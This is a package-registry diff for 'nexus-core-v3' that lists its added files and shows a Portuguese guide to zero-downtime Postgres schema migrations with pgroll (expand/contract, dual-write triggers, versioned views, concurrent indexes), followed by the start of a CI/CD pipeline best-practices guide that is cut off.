nexus-core-v3 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (232) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +134 -0
  3. package/agents/README.md +133 -0
  4. package/agents/_protocol.md +107 -0
  5. package/agents/analyst.md +138 -0
  6. package/agents/architect.md +146 -0
  7. package/agents/data-engineer.md +170 -0
  8. package/agents/dev.md +134 -0
  9. package/agents/devops.md +141 -0
  10. package/agents/nexus-master.md +147 -0
  11. package/agents/pm.md +133 -0
  12. package/agents/po.md +138 -0
  13. package/agents/qa.md +192 -0
  14. package/agents/sm.md +122 -0
  15. package/agents/squad-creator.md +121 -0
  16. package/agents/ux-design-expert.md +165 -0
  17. package/artifact-manifest.json +903 -0
  18. package/bin/nexus.mjs +37 -0
  19. package/checklists/README.md +49 -0
  20. package/checklists/architect-checklist.md +47 -0
  21. package/checklists/change-checklist.md +61 -0
  22. package/checklists/db-predeploy-checklist.md +57 -0
  23. package/checklists/design-quality-checklist.md +57 -0
  24. package/checklists/discovery-checklist.md +36 -0
  25. package/checklists/foundation-checklist.md +39 -0
  26. package/checklists/launch-checklist.md +39 -0
  27. package/checklists/pm-checklist.md +48 -0
  28. package/checklists/po-master-checklist.md +64 -0
  29. package/checklists/reality-check-checklist.md +49 -0
  30. package/checklists/story-dod-checklist.md +52 -0
  31. package/checklists/story-draft-checklist.md +36 -0
  32. package/dist/bin/dashboard.html +279 -0
  33. package/dist/bin/nexus.mjs +20008 -0
  34. package/dist/constitution.yaml +76 -0
  35. package/knowledge/README.md +57 -0
  36. package/knowledge/architecture/architectural-styles-map.md +182 -0
  37. package/knowledge/architecture/design-patterns-gof.md +192 -0
  38. package/knowledge/architecture/distributed-patterns-cheatsheet.md +201 -0
  39. package/knowledge/architecture/saas-subscription-blueprint.md +355 -0
  40. package/knowledge/architecture/system-design-tradeoffs.md +231 -0
  41. package/knowledge/architecture/t3-fullstack-typesafe-stack.md +273 -0
  42. package/knowledge/copy/landing-copy-that-converts.md +168 -0
  43. package/knowledge/data/postgres-indexing-and-tuning.md +263 -0
  44. package/knowledge/data/schema-modeling-decisions.md +273 -0
  45. package/knowledge/data/supabase-rls-patterns.md +316 -0
  46. package/knowledge/data/zero-downtime-migrations.md +308 -0
  47. package/knowledge/devops/cicd-pipeline-best-practices.md +318 -0
  48. package/knowledge/devops/production-dockerfile.md +283 -0
  49. package/knowledge/devops/twelve-factor-app.md +398 -0
  50. package/knowledge/engineering/clean-code-principles.md +429 -0
  51. package/knowledge/engineering/effective-code-review.md +204 -0
  52. package/knowledge/engineering/testing-strategy-beyond-unit.md +307 -0
  53. package/knowledge/governance/risk-matrix.md +56 -0
  54. package/knowledge/integration/mcp-server-selection-matrix.md +235 -0
  55. package/knowledge/marketing/copy-que-converte.md +43 -0
  56. package/knowledge/marketing/funil-e-jornada.md +36 -0
  57. package/knowledge/negocios/proposta-vencedora.md +38 -0
  58. package/knowledge/negocios/roi-e-unit-economics.md +46 -0
  59. package/knowledge/pipeline/1-descobrir.md +26 -0
  60. package/knowledge/pipeline/2-estrategizar.md +26 -0
  61. package/knowledge/pipeline/3-estruturar.md +27 -0
  62. package/knowledge/pipeline/4-construir.md +27 -0
  63. package/knowledge/pipeline/5-endurecer.md +28 -0
  64. package/knowledge/pipeline/6-lancar.md +27 -0
  65. package/knowledge/pipeline/7-operar.md +27 -0
  66. package/knowledge/security/lgpd-conformidade-basica.md +35 -0
  67. package/knowledge/security/owasp-secure-coding-gates.md +220 -0
  68. package/knowledge/security/owasp-top10-threat-assessment.md +287 -0
  69. package/knowledge/security/threat-modeling-stride.md +34 -0
  70. package/knowledge/web-craft/a11y-audit-checklist.md +251 -0
  71. package/knowledge/web-craft/accessible-component-patterns.md +383 -0
  72. package/knowledge/web-craft/anti-ai-look.md +114 -0
  73. package/knowledge/web-craft/design-system-from-code.md +195 -0
  74. package/knowledge/web-craft/intrinsic-css-layout.md +420 -0
  75. package/knowledge/web-craft/style-cloning.md +185 -0
  76. package/knowledge/web-craft/visual-polish-review.md +183 -0
  77. package/package.json +55 -0
  78. package/runbooks/campanha-de-conteudo.md +36 -0
  79. package/runbooks/feature-em-projeto-existente.md +37 -0
  80. package/runbooks/mvp-startup.md +38 -0
  81. package/runbooks/resposta-a-incidente.md +37 -0
  82. package/squads/exemplo-conteudo/agents/editor-chefe.md +48 -0
  83. package/squads/exemplo-conteudo/agents/pesquisador.md +44 -0
  84. package/squads/exemplo-conteudo/agents/redator.md +45 -0
  85. package/squads/exemplo-conteudo/knowledge/estilo-editorial.md +21 -0
  86. package/squads/exemplo-conteudo/squad.yaml +19 -0
  87. package/squads/exemplo-conteudo/tasks/pesquisar-fontes.md +26 -0
  88. package/squads/exemplo-conteudo/tasks/planejar-pauta.md +27 -0
  89. package/squads/exemplo-conteudo/tasks/redigir-artigo.md +26 -0
  90. package/squads/exemplo-conteudo/tasks/revisar-artigo.md +27 -0
  91. package/squads/marketing/agents/analista.md +56 -0
  92. package/squads/marketing/agents/chefe-marketing.md +65 -0
  93. package/squads/marketing/agents/conteudo.md +55 -0
  94. package/squads/marketing/agents/copy.md +55 -0
  95. package/squads/marketing/agents/growth.md +56 -0
  96. package/squads/marketing/agents/social.md +55 -0
  97. package/squads/marketing/squad.yaml +17 -0
  98. package/squads/marketing/tasks/aprovar-campanha.md +43 -0
  99. package/squads/negocios/agents/chefe-negocios.md +65 -0
  100. package/squads/negocios/agents/financas-roi.md +55 -0
  101. package/squads/negocios/agents/suporte.md +55 -0
  102. package/squads/negocios/agents/vendas-proposta.md +56 -0
  103. package/squads/negocios/squad.yaml +17 -0
  104. package/squads/negocios/tasks/aprovar-proposta.md +40 -0
  105. package/squads/security/agents/appsec-reviewer.md +59 -0
  106. package/squads/security/agents/chefe-seguranca.md +65 -0
  107. package/squads/security/agents/compliance-auditor.md +60 -0
  108. package/squads/security/agents/threat-modeler.md +60 -0
  109. package/squads/security/squad.yaml +20 -0
  110. package/squads/security/tasks/aprovar-gate-seguranca.md +42 -0
  111. package/squads/security/tasks/emitir-parecer-conformidade.md +42 -0
  112. package/tasks/README.md +72 -0
  113. package/tasks/accessibility-wcag-checklist.md +69 -0
  114. package/tasks/advanced-elicitation.md +42 -0
  115. package/tasks/analyze-performance.md +54 -0
  116. package/tasks/analyze-project-structure.md +59 -0
  117. package/tasks/apply-qa-fixes.md +57 -0
  118. package/tasks/architect-analyze-impact.md +62 -0
  119. package/tasks/archive-squad.md +52 -0
  120. package/tasks/audit-codebase.md +53 -0
  121. package/tasks/build-component.md +61 -0
  122. package/tasks/calculate-roi.md +63 -0
  123. package/tasks/ci-cd-configuration.md +51 -0
  124. package/tasks/collect-visual-evidence.md +62 -0
  125. package/tasks/compose-molecule.md +57 -0
  126. package/tasks/consolidate-patterns.md +54 -0
  127. package/tasks/create-brownfield-prd.md +54 -0
  128. package/tasks/create-competitor-analysis.md +42 -0
  129. package/tasks/create-deep-research-prompt.md +62 -0
  130. package/tasks/create-doc.md +62 -0
  131. package/tasks/create-epic.md +49 -0
  132. package/tasks/create-front-end-spec.md +56 -0
  133. package/tasks/create-migration-plan.md +57 -0
  134. package/tasks/create-next-story.md +66 -0
  135. package/tasks/create-prd.md +53 -0
  136. package/tasks/create-project-brief.md +47 -0
  137. package/tasks/create-rls-policies.md +59 -0
  138. package/tasks/create-schema.md +57 -0
  139. package/tasks/create-service.md +55 -0
  140. package/tasks/create-squad.md +100 -0
  141. package/tasks/create-suite.md +62 -0
  142. package/tasks/db-apply-migration.md +56 -0
  143. package/tasks/db-domain-modeling.md +57 -0
  144. package/tasks/db-dry-run.md +50 -0
  145. package/tasks/db-env-check.md +57 -0
  146. package/tasks/db-load-csv.md +54 -0
  147. package/tasks/db-policy-apply.md +58 -0
  148. package/tasks/db-rollback.md +51 -0
  149. package/tasks/db-run-sql.md +61 -0
  150. package/tasks/db-seed.md +52 -0
  151. package/tasks/db-smoke-test.md +51 -0
  152. package/tasks/db-snapshot.md +48 -0
  153. package/tasks/db-verify-order.md +49 -0
  154. package/tasks/deliberate.md +46 -0
  155. package/tasks/design-indexes.md +59 -0
  156. package/tasks/dev-develop-story.md +61 -0
  157. package/tasks/document-project.md +59 -0
  158. package/tasks/execute-checklist.md +57 -0
  159. package/tasks/execute-epic-plan.md +52 -0
  160. package/tasks/execute-subtask.md +51 -0
  161. package/tasks/extend-pattern.md +63 -0
  162. package/tasks/extend-squad.md +60 -0
  163. package/tasks/extract-patterns.md +64 -0
  164. package/tasks/extract-tokens.md +59 -0
  165. package/tasks/facilitate-brainstorming-session.md +42 -0
  166. package/tasks/generate-ai-frontend-prompt.md +57 -0
  167. package/tasks/generate-documentation.md +60 -0
  168. package/tasks/generate-migration-strategy.md +57 -0
  169. package/tasks/generate-shock-report.md +56 -0
  170. package/tasks/mcp-management.md +66 -0
  171. package/tasks/orchestrate.md +50 -0
  172. package/tasks/perform-market-research.md +42 -0
  173. package/tasks/plan-create-context.md +57 -0
  174. package/tasks/plan-create-implementation.md +58 -0
  175. package/tasks/po-close-story.md +60 -0
  176. package/tasks/po-manage-story-backlog.md +59 -0
  177. package/tasks/po-pull-story.md +60 -0
  178. package/tasks/po-sync-story.md +59 -0
  179. package/tasks/pr-automation.md +50 -0
  180. package/tasks/pre-push-quality-gate.md +54 -0
  181. package/tasks/push.md +53 -0
  182. package/tasks/qa-browser-console-check.md +52 -0
  183. package/tasks/qa-create-fix-request.md +58 -0
  184. package/tasks/qa-evidence-requirements.md +55 -0
  185. package/tasks/qa-false-positive-detection.md +55 -0
  186. package/tasks/qa-fix-issues.md +55 -0
  187. package/tasks/qa-gate.md +53 -0
  188. package/tasks/qa-migration-validation.md +58 -0
  189. package/tasks/qa-nfr-assess.md +45 -0
  190. package/tasks/qa-review-story.md +56 -0
  191. package/tasks/qa-risk-profile.md +45 -0
  192. package/tasks/qa-security-checklist.md +64 -0
  193. package/tasks/qa-test-design.md +47 -0
  194. package/tasks/qa-trace-requirements.md +48 -0
  195. package/tasks/release-management.md +53 -0
  196. package/tasks/repository-cleanup.md +61 -0
  197. package/tasks/route.md +44 -0
  198. package/tasks/run-tests.md +50 -0
  199. package/tasks/security-audit.md +54 -0
  200. package/tasks/setup-database.md +60 -0
  201. package/tasks/setup-design-system.md +60 -0
  202. package/tasks/shard-doc.md +60 -0
  203. package/tasks/spec-assess-complexity.md +55 -0
  204. package/tasks/spec-critique.md +64 -0
  205. package/tasks/spec-gather-requirements.md +48 -0
  206. package/tasks/spec-research-dependencies.md +42 -0
  207. package/tasks/spec-write-spec.md +50 -0
  208. package/tasks/test-as-user.md +52 -0
  209. package/tasks/ux-create-wireframe.md +54 -0
  210. package/tasks/ux-user-research.md +55 -0
  211. package/tasks/validate-next-story.md +61 -0
  212. package/tasks/validate-squad.md +55 -0
  213. package/tasks/verify-subtask.md +52 -0
  214. package/tasks/version-management.md +45 -0
  215. package/templates/README.md +47 -0
  216. package/templates/architecture-tmpl.md +115 -0
  217. package/templates/competitor-analysis-tmpl.md +87 -0
  218. package/templates/epic-tmpl.md +83 -0
  219. package/templates/front-end-spec-tmpl.md +110 -0
  220. package/templates/market-research-tmpl.md +98 -0
  221. package/templates/migration-plan-tmpl.md +92 -0
  222. package/templates/prd-tmpl.md +95 -0
  223. package/templates/project-brief-tmpl.md +100 -0
  224. package/templates/qa-verdict-tmpl.md +73 -0
  225. package/templates/rls-policies-tmpl.md +93 -0
  226. package/templates/schema-design-tmpl.md +107 -0
  227. package/templates/spec-tmpl.md +88 -0
  228. package/templates/squad/agent-dna-tmpl.md +72 -0
  229. package/templates/squad/chief-dna-tmpl.md +98 -0
  230. package/templates/squad/squad-task-tmpl.md +50 -0
  231. package/templates/squad/squad-yaml-tmpl.md +47 -0
  232. package/templates/story-tmpl.md +63 -0
@@ -0,0 +1,308 @@
1
+ ---
2
+ id: zero-downtime-migrations
3
+ domain: data
4
+ agents: [data-engineer]
5
+ when: "ao evoluir o schema em produção sem downtime nem quebrar a aplicação"
6
+ ---
7
+
8
+ # Zero-downtime migrations — evoluir o schema sem parar a aplicação
9
+
10
+ A maioria das migrations quebra produção por um motivo só: **trata schema e código como se mudassem
11
+ no mesmo instante.** Eles não mudam. Entre o deploy do schema e o deploy de todas as réplicas da
12
+ aplicação existe uma janela em que **a versão antiga do app e a versão nova do schema convivem** — e é
13
+ nessa janela que tudo explode.
14
+
15
+ Este pack é o playbook **expand/contract** (também chamado de parallel change), o mesmo que ferramentas
16
+ como [pgroll](https://github.com/xataio/pgroll) automatizam para Postgres. A régua é grounded em SQL
17
+ real e nas garantias reais do Postgres — não em "boas práticas" vagas.
18
+
19
+ ## O problema / o tell
20
+
21
+ Migration de produção é medíocre quando tem qualquer destes:
22
+
23
+ 1. **`ALTER TABLE ... ADD COLUMN ... NOT NULL` sem default** — varre e reescreve a tabela inteira sob
24
+ `ACCESS EXCLUSIVE LOCK`. Trava toda leitura E escrita por segundos a minutos. Em tabela grande, é
25
+ downtime.
26
+ 2. **`RENAME COLUMN` ou `DROP COLUMN` num único deploy** — a aplicação antiga ainda referencia o nome
27
+ velho. No instante do rename, toda query da versão antiga falha com `column does not exist`.
28
+ 3. **Trocar tipo de coluna com `ALTER COLUMN ... TYPE`** — força reescrita de tabela + invalida o plano
29
+ das queries em flight. `int` → `bigint`, `text` → `varchar(n)`, todos reescrevem.
30
+ 4. **`CREATE INDEX` (sem `CONCURRENTLY`)** — pega `SHARE LOCK`, bloqueia todas as escritas na tabela
31
+ durante a construção inteira do índice.
32
+ 5. **`ADD CONSTRAINT ... CHECK` / `FOREIGN KEY` direto** — valida a tabela inteira sob lock antes de
33
+ liberar.
34
+ 6. **Migration acoplada ao deploy do app** — "rodo o ALTER e subo o código junto". Não existe "junto"
35
+ num sistema com N pods atrás de um load balancer; existe uma janela onde versões coexistem.
36
+ 7. **Sem caminho de rollback** — a migration aplica, dá problema em produção, e a única saída é outra
37
+ migration corretiva no susto (que também pode quebrar).
38
+ 8. **Backfill num `UPDATE` único** — `UPDATE tabela SET nova = f(velha)` numa tabela de milhões de
39
+ linhas trava a tabela inteira numa transação gigante, infla o WAL e segura `VACUUM`.
40
+
41
+ O tell-mãe: **a migration assume que schema e app mudam atomicamente.** Eles nunca mudam. Toda mudança
42
+ quebradora precisa virar uma sequência de mudanças **aditivas e reversíveis** que passam por um estado
43
+ onde o schema é compatível com a versão antiga E a nova do app ao mesmo tempo.
44
+
45
+ ## O conhecimento / os princípios
46
+
47
+ ### 1. Expand → Contract: nunca mude, sempre adicione e depois remova
48
+
49
+ Toda mudança quebradora é decomposta em duas fases separadas por **deploys distintos**:
50
+
51
+ - **Expand (`pgroll start`):** adiciona o novo elemento *ao lado* do antigo, sem quebrar nada. Mudanças
52
+ puramente aditivas. O schema fica compatível com a versão velha e a nova do app simultaneamente.
53
+ - **Contract (`pgroll complete`):** só depois que **nenhuma** instância da aplicação antiga está mais
54
+ no ar, remove o elemento velho e as estruturas temporárias.
55
+
56
+ Entre as duas fases há um período de coexistência. É ele que dá o zero-downtime. Em pgroll o ciclo é
57
+ literal:
58
+
59
+ ```bash
60
+ pgroll start migrations/02_make_description_not_null.yaml --postgres-url "postgres://..."
61
+ # ... deploy do app novo, validação, espera todo app velho sair ...
62
+ pgroll complete --postgres-url "postgres://..."
63
+ # ou, antes de completar, se algo deu errado:
64
+ pgroll rollback --postgres-url "postgres://..."
65
+ ```
66
+
67
+ A regra inegociável: **expand e contract nunca no mesmo deploy.** Entre eles entra o deploy do código
68
+ que passa a usar o novo elemento.
69
+
70
+ ### 2. Adicionar coluna `NOT NULL` em fases (o caso canônico)
71
+
72
+ Você **não** faz `ADD COLUMN ... NOT NULL`. Você faz aditivo, backfilla, e só então valida a constraint
73
+ — cada passo sem lock longo.
74
+
75
+ | Fase | Operação | Lock | Por quê é seguro |
76
+ |---|---|---|---|
77
+ | 1. Add nullable | `ADD COLUMN status text` (sem NOT NULL) | metadata-only no PG 11+ | Não reescreve a tabela; default volátil é evitado |
78
+ | 2. Backfill | `UPDATE` em **lotes** (10k linhas/batch) | row-level por lote | Não trava a tabela inteira numa transação só |
79
+ | 3. Constraint `NOT VALID` | `ADD CONSTRAINT ck CHECK (status IS NOT NULL) NOT VALID` | breve | `NOT VALID` **não** varre as linhas existentes |
80
+ | 4. Validar | `VALIDATE CONSTRAINT ck` | `SHARE UPDATE EXCLUSIVE` | Não bloqueia leitura nem escrita normal |
81
+ | 5. (opcional) Promover | `SET NOT NULL` aproveitando a CHECK já validada (PG 12+) | breve | PG reusa a CHECK e pula o full scan |
82
+
83
+ É exatamente o que pgroll gera por baixo: cria a coluna física nova, marca a constraint como
84
+ `CHECK (...) NOT NULL NOT VALID`, backfilla, e valida. O `up`/`down` da migration declara **como
85
+ preencher** os valores existentes:
86
+
87
+ ```yaml
88
+ operations:
89
+ - alter_column:
90
+ table: users
91
+ column: description
92
+ nullable: false
93
+ up: SELECT CASE WHEN description IS NULL THEN 'No description provided' ELSE description END
94
+ down: description
95
+ ```
96
+
97
+ - `up` = como popular a coluna nova a partir da antiga (backfill + dual-write para frente).
98
+ - `down` = como popular a antiga a partir da nova (dual-write para trás, usado no rollback).
99
+
100
+ Coluna nullable **com default** é o caso fácil — não precisa backfill, pgroll trata como aditivo puro:
101
+
102
+ ```yaml
103
+ operations:
104
+ - add_column:
105
+ table: reviews
106
+ column:
107
+ name: rating
108
+ type: text
109
+ default: '0'
110
+ ```
111
+
112
+ ### 3. Dual-write por trigger: manter coluna velha e nova em sincronia
113
+
114
+ Durante a coexistência, escritas chegam pelas duas versões do app. A versão antiga escreve na coluna
115
+ velha; a nova, na coluna nova. Sem sincronização, uma fica desatualizada. pgroll resolve criando uma
116
+ **coluna física temporária** (ex.: `_pgroll_new_description`) e um **trigger** que propaga cada escrita
117
+ para a contrapartida, aplicando a expressão `up`/`down`. O esqueleto do que a trigger faz:
118
+
119
+ ```sql
120
+ -- conceito do que pgroll gera automaticamente durante a migration ativa
121
+ CREATE OR REPLACE FUNCTION _pgroll_sync_description() RETURNS trigger AS $$
122
+ BEGIN
123
+ -- app novo escreveu na coluna nova → propaga pra velha (expressão down)
124
+ IF NEW._pgroll_new_description IS DISTINCT FROM OLD._pgroll_new_description THEN
125
+ NEW.description := NEW._pgroll_new_description;
126
+ -- app velho escreveu na coluna velha → propaga pra nova (expressão up)
127
+ ELSE
128
+ NEW._pgroll_new_description :=
129
+ CASE WHEN NEW.description IS NULL THEN 'No description provided' ELSE NEW.description END;
130
+ END IF;
131
+ RETURN NEW;
132
+ END;
133
+ $$ LANGUAGE plpgsql;
134
+
135
+ CREATE TRIGGER _pgroll_trigger_users__pgroll_new_description
136
+ BEFORE INSERT OR UPDATE ON users
137
+ FOR EACH ROW EXECUTE FUNCTION _pgroll_sync_description();
138
+ ```
139
+
140
+ Se você faz **sem** pgroll, este é o padrão: trigger `BEFORE INSERT OR UPDATE` que mantém as duas
141
+ colunas coerentes durante toda a janela. No `complete`, a trigger e a coluna velha são derrubadas.
142
+
143
+ ### 4. Views versionadas: cada versão do app enxerga seu próprio schema
144
+
145
+ O truque que torna rename/drop seguros: as aplicações **não acessam as tabelas físicas diretamente**.
146
+ Cada migration cria um **schema versionado** com **views** sobre as tabelas reais. pgroll nomeia os
147
+ schemas por versão:
148
+
149
+ ```
150
+ public_01_initial_schema -- view: description
151
+ public_02_rename_description -- view: bio (mesma coluna física, nome novo)
152
+ ```
153
+
154
+ A view da versão antiga continua expondo `description`; a da versão nova expõe `bio`. **A mesma coluna
155
+ física, dois nomes lógicos.** Por isso o rename não quebra ninguém: cada app vê o nome que conhece.
156
+
157
+ O app escolhe a versão setando o `search_path` — **dentro de uma transação**, senão a sessão pode pegar
158
+ outra conexão do pool:
159
+
160
+ ```bash
161
+ export PGROLL_SCHEMA_VERSION=$(pgroll latest --with-schema --postgres-url "postgres://...")
162
+ ```
163
+
164
+ ```typescript
165
+ // driver postgres.js / node-postgres — SET e query NO MESMO transaction/session
166
+ const schema = process.env.PGROLL_SCHEMA_VERSION || 'public';
167
+ await db.transaction(async (tx) => {
168
+ await tx.execute(`SET search_path TO ${schema}`);
169
+ return tx.select().from(users);
170
+ });
171
+ ```
172
+
173
+ Driver HTTP stateless **não serve** para esse padrão: `SET search_path` e a query precisam compartilhar
174
+ a mesma sessão.
175
+
176
+ ### 5. Rename e Drop em fases seguras
177
+
178
+ **Rename** com views versionadas é trivial: a coluna física nunca muda de nome; só a view da nova versão
179
+ expõe o nome novo. Sem views, o rename vira um expand/contract de coluna inteira (add nova → dual-write
180
+ → migrar leitores → drop velha) — mais caro, e é o motivo de as views existirem.
181
+
182
+ **Drop** segue a ordem inversa do add, e **drop é sempre na fase contract**:
183
+
184
+ 1. Deploy do app que **para de ler/escrever** a coluna.
185
+ 2. Confirmar que nenhuma instância antiga está no ar (a que ainda usa a coluna).
186
+ 3. Só então `ALTER TABLE ... DROP COLUMN` (rápido, metadata-only — o espaço é recuperado pelo `VACUUM`).
187
+
188
+ Nunca dropar antes de o último app que a usa ter saído. É o erro nº 2 do tell.
189
+
190
+ ### 6. `CREATE INDEX CONCURRENTLY` — e por que NÃO dentro de transação
191
+
192
+ Índice em produção é **sempre** `CONCURRENTLY`:
193
+
194
+ ```sql
195
+ CREATE INDEX CONCURRENTLY idx_orders_status ON orders (status);
196
+ ```
197
+
198
+ - `CREATE INDEX` normal pega `SHARE LOCK` → **bloqueia toda escrita** na tabela durante a construção
199
+ inteira.
200
+ - `CREATE INDEX CONCURRENTLY` constrói **sem bloquear** insert/update/delete concorrentes.
201
+
202
+ Mas vem com regras duras, todas reais do Postgres:
203
+
204
+ | Restrição | Consequência prática |
205
+ |---|---|
206
+ | **Não pode rodar dentro de transaction block** | Faz dois scans e espera transações abertas terminarem; precisa commitar entre as fases internas. Por isso pgroll executa `create_index` **fora** da transação da migration. |
207
+ | Faz **dois scans** da tabela + espera transações concorrentes | Demora bem mais que o `CREATE INDEX` normal — planeje para tabelas grandes. |
208
+ | Pode **falhar no meio** | Deixa um **índice inválido** (`INVALID`) para trás. Diferente do `CREATE INDEX` normal, que faz rollback limpo. |
209
+ | Recovery do índice inválido | `DROP INDEX CONCURRENTLY idx_orders_status;` e recriar. Detectar com a query de índices inválidos abaixo. |
210
+
211
+ ```sql
212
+ -- encontrar índices que falharam no meio do CONCURRENTLY
213
+ SELECT c.relname
214
+ FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
215
+ WHERE i.indisvalid = false;
216
+ ```
217
+
218
+ Em pgroll é uma operação declarativa, e ele cuida de rodá-la fora da transação:
219
+
220
+ ```json
221
+ { "create_index": { "name": "idx_orders_status", "table": "orders", "columns": ["status"] } }
222
+ ```
223
+
224
+ ### 7. Compatibilidade backward/forward entre app e schema
225
+
226
+ A regra que governa a janela de coexistência:
227
+
228
+ - **Backward-compatible (expand):** o schema novo **não quebra** o app antigo. Add coluna nullable, add
229
+ índice, add view — o app velho ignora. Sempre seguro de deployar primeiro.
230
+ - **Forward-compatible (app):** o app novo **funciona com o schema velho** durante a janela (ex.: lê a
231
+ coluna nova mas tolera ela vazia/sincronizada por trigger).
232
+
233
+ Ordem de deploy que respeita as duas:
234
+
235
+ ```
236
+ 1. EXPAND schema (aditivo, backward-compat) → pgroll start
237
+ 2. DEPLOY app novo (forward-compat, dual-write ativo)
238
+ 3. ESPERA todo app antigo sair de produção
239
+ 4. CONTRACT schema (drop do velho) → pgroll complete
240
+ ```
241
+
242
+ Inverter qualquer passo abre uma janela de erro. Deployar o app novo antes do expand → ele lê coluna que
243
+ não existe. Fazer contract antes de o app velho sair → ele lê coluna que sumiu.
244
+
245
+ ### 8. Rollback seguro de cada fase
246
+
247
+ O ponto do expand/contract: **enquanto não houve `complete`, o rollback é instantâneo e seguro.** A
248
+ coluna velha ainda existe, a trigger ainda sincroniza, a view antiga ainda responde.
249
+
250
+ | Estado | Rollback |
251
+ |---|---|
252
+ | Após `start`, antes de `complete` | `pgroll rollback` — derruba coluna nova, triggers e views da versão nova. App antigo nunca foi tocado. Zero risco. |
253
+ | Após `complete` | A coluna velha já foi dropada. Rollback agora = nova migration expand/contract no sentido inverso (não é "desfazer"). |
254
+ | Backfill em andamento | Interromper é seguro: as linhas já backfilladas ficam corretas (dual-write mantém), e o `down` reverte. |
255
+
256
+ A `down` de cada operação **é** o plano de rollback declarado de antemão — não algo improvisado no susto.
257
+ Para DDL que pgroll não cobre, use o escape hatch `sql` com `up`/`down`, ciente de que **não vem com a
258
+ garantia de zero-downtime**:
259
+
260
+ ```yaml
261
+ operations:
262
+ - sql:
263
+ up: CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)
264
+ down: DROP TABLE users
265
+ ```
266
+
267
+ ## Checklist "isto vai derrubar produção?"
268
+
269
+ Antes de aplicar, qualquer "sim" é um risco a corrigir:
270
+
271
+ - [ ] Tem `ADD COLUMN ... NOT NULL` sem default (full table rewrite sob `ACCESS EXCLUSIVE`)?
272
+ - [ ] Tem `RENAME`/`DROP COLUMN` no mesmo deploy do código que ainda usa o nome velho?
273
+ - [ ] Tem `ALTER COLUMN ... TYPE` que reescreve a tabela?
274
+ - [ ] Tem `CREATE INDEX` sem `CONCURRENTLY`?
275
+ - [ ] Tem `CREATE INDEX CONCURRENTLY` dentro de um transaction block (vai falhar)?
276
+ - [ ] Adicionou índice concorrente sem checar `indisvalid = false` depois (índice fantasma inválido)?
277
+ - [ ] Tem `ADD CONSTRAINT CHECK/FK` sem `NOT VALID` + `VALIDATE` em passo separado?
278
+ - [ ] O backfill é um `UPDATE` único na tabela inteira em vez de lotes (~10k linhas/batch)?
279
+ - [ ] A migration e o deploy do app estão acoplados (sem janela de coexistência)?
280
+ - [ ] Existe coluna velha sendo dropada **antes** de confirmar que o app antigo saiu de produção?
281
+ - [ ] Falta `down`/rollback declarado para cada operação?
282
+ - [ ] App usa `SET search_path` para schema versionado **fora** de uma transação (pode pegar outra conexão do pool)?
283
+
284
+ ## Tabela de decisão "use X quando Y"
285
+
286
+ | Quando você precisa... | Use isto | Não use isto |
287
+ |---|---|---|
288
+ | Adicionar coluna obrigatória | add nullable → backfill em lotes → `CHECK NOT VALID` → `VALIDATE` → `SET NOT NULL` | `ADD COLUMN NOT NULL` direto |
289
+ | Adicionar coluna com valor padrão fixo | `ADD COLUMN ... DEFAULT 'x'` (aditivo, sem backfill no PG 11+) | backfill manual |
290
+ | Renomear coluna | view versionada expondo o nome novo (mesma coluna física) | `RENAME COLUMN` num deploy só |
291
+ | Remover coluna | drop **na fase contract**, após o último app que a usa sair | drop junto com o deploy do app |
292
+ | Trocar tipo de coluna | nova coluna + dual-write (`up`/`down`) + migrar leitores + drop velha | `ALTER COLUMN ... TYPE` in-place |
293
+ | Criar índice em produção | `CREATE INDEX CONCURRENTLY` (fora de transação) | `CREATE INDEX` (trava escritas) |
294
+ | Adicionar CHECK/FK | `ADD CONSTRAINT ... NOT VALID` depois `VALIDATE CONSTRAINT` | `ADD CONSTRAINT` que valida sob lock |
295
+ | Backfill de tabela grande | `UPDATE` em lotes (~10k/batch), commit por lote | um `UPDATE` na transação inteira |
296
+ | Manter coluna velha/nova coerentes na janela | trigger de dual-write (`BEFORE INSERT/UPDATE`) com `up`/`down` | confiar que o app escreve nas duas |
297
+ | Servir versões diferentes do app | schemas versionados + views + `search_path` por sessão | um schema só pra todos |
298
+ | Reverter antes de finalizar | `pgroll rollback` (coluna velha ainda viva) | nova migration corretiva no susto |
299
+ | Reverter após `complete` | nova migration expand/contract no sentido inverso | tentar "desfazer" o complete |
300
+ | DDL não coberta (zero-downtime) | escape hatch `sql` com `up`/`down`, ciente da perda de garantia | rodar DDL crua sem plano de `down` |
301
+
302
+ ---
303
+
304
+ **Fonte:** [xataio/pgroll](https://github.com/xataio/pgroll) ·
305
+ [Expand/contract com pgroll](https://xata.io/blog/pgroll-expand-contract) ·
306
+ [Como o pgroll funciona por dentro](https://xata.io/blog/pgroll-internals) ·
307
+ [Guia pgroll (Neon)](https://neon.com/guides/pgroll) ·
308
+ [Postgres: CREATE INDEX](https://www.postgresql.org/docs/current/sql-createindex.html)
@@ -0,0 +1,318 @@
1
+ ---
2
+ id: cicd-pipeline-best-practices
3
+ domain: devops
4
+ agents: [devops]
5
+ when: "ao montar ou revisar um pipeline de CI/CD"
6
+ ---
7
+
8
+ # CI/CD Pipeline — seguro e rápido por padrão
9
+
10
+ ## O problema
11
+
12
+ A maioria dos pipelines de GitHub Actions é escrita pra "ficar verde" e nunca mais é tocada. O
13
+ resultado é um workflow que funciona, mas que é **lento e uma porta de entrada para supply-chain
14
+ attack**. Os tells de um pipeline medíocre:
15
+
16
+ 1. **Actions pinadas por tag** (`uses: actions/checkout@v4`). Tag é mutável — quem ganha write no
17
+ repo da action move o `v4` pra um commit malicioso. Foi exatamente assim que o
18
+ `tj-actions/changed-files` foi comprometido: um commit malicioso vazou os secrets de todos os
19
+ workflows que referenciavam por tag.
20
+ 2. **Sem bloco `permissions`** — o workflow herda o default do repo, que costuma ser read/write em
21
+ tudo. Se uma dependência for comprometida, o `GITHUB_TOKEN` dá pra fazer push, criar release e
22
+ mexer em settings. Blast radius máximo.
23
+ 3. **Secrets de longa duração** (`AWS_ACCESS_KEY_ID` em `secrets`) quando OIDC resolveria sem
24
+ guardar credencial nenhuma.
25
+ 4. **Tudo num job só** — build, lint e test em sequência num único job, sem paralelismo, sem cache
26
+ de dependências. CI de 12 minutos que poderia ser de 3.
27
+ 5. **Sem `concurrency`** — você empurra 3 commits e os 3 runs antigos continuam rodando até o fim,
28
+ queimando minutos de runner enquanto só o último importa.
29
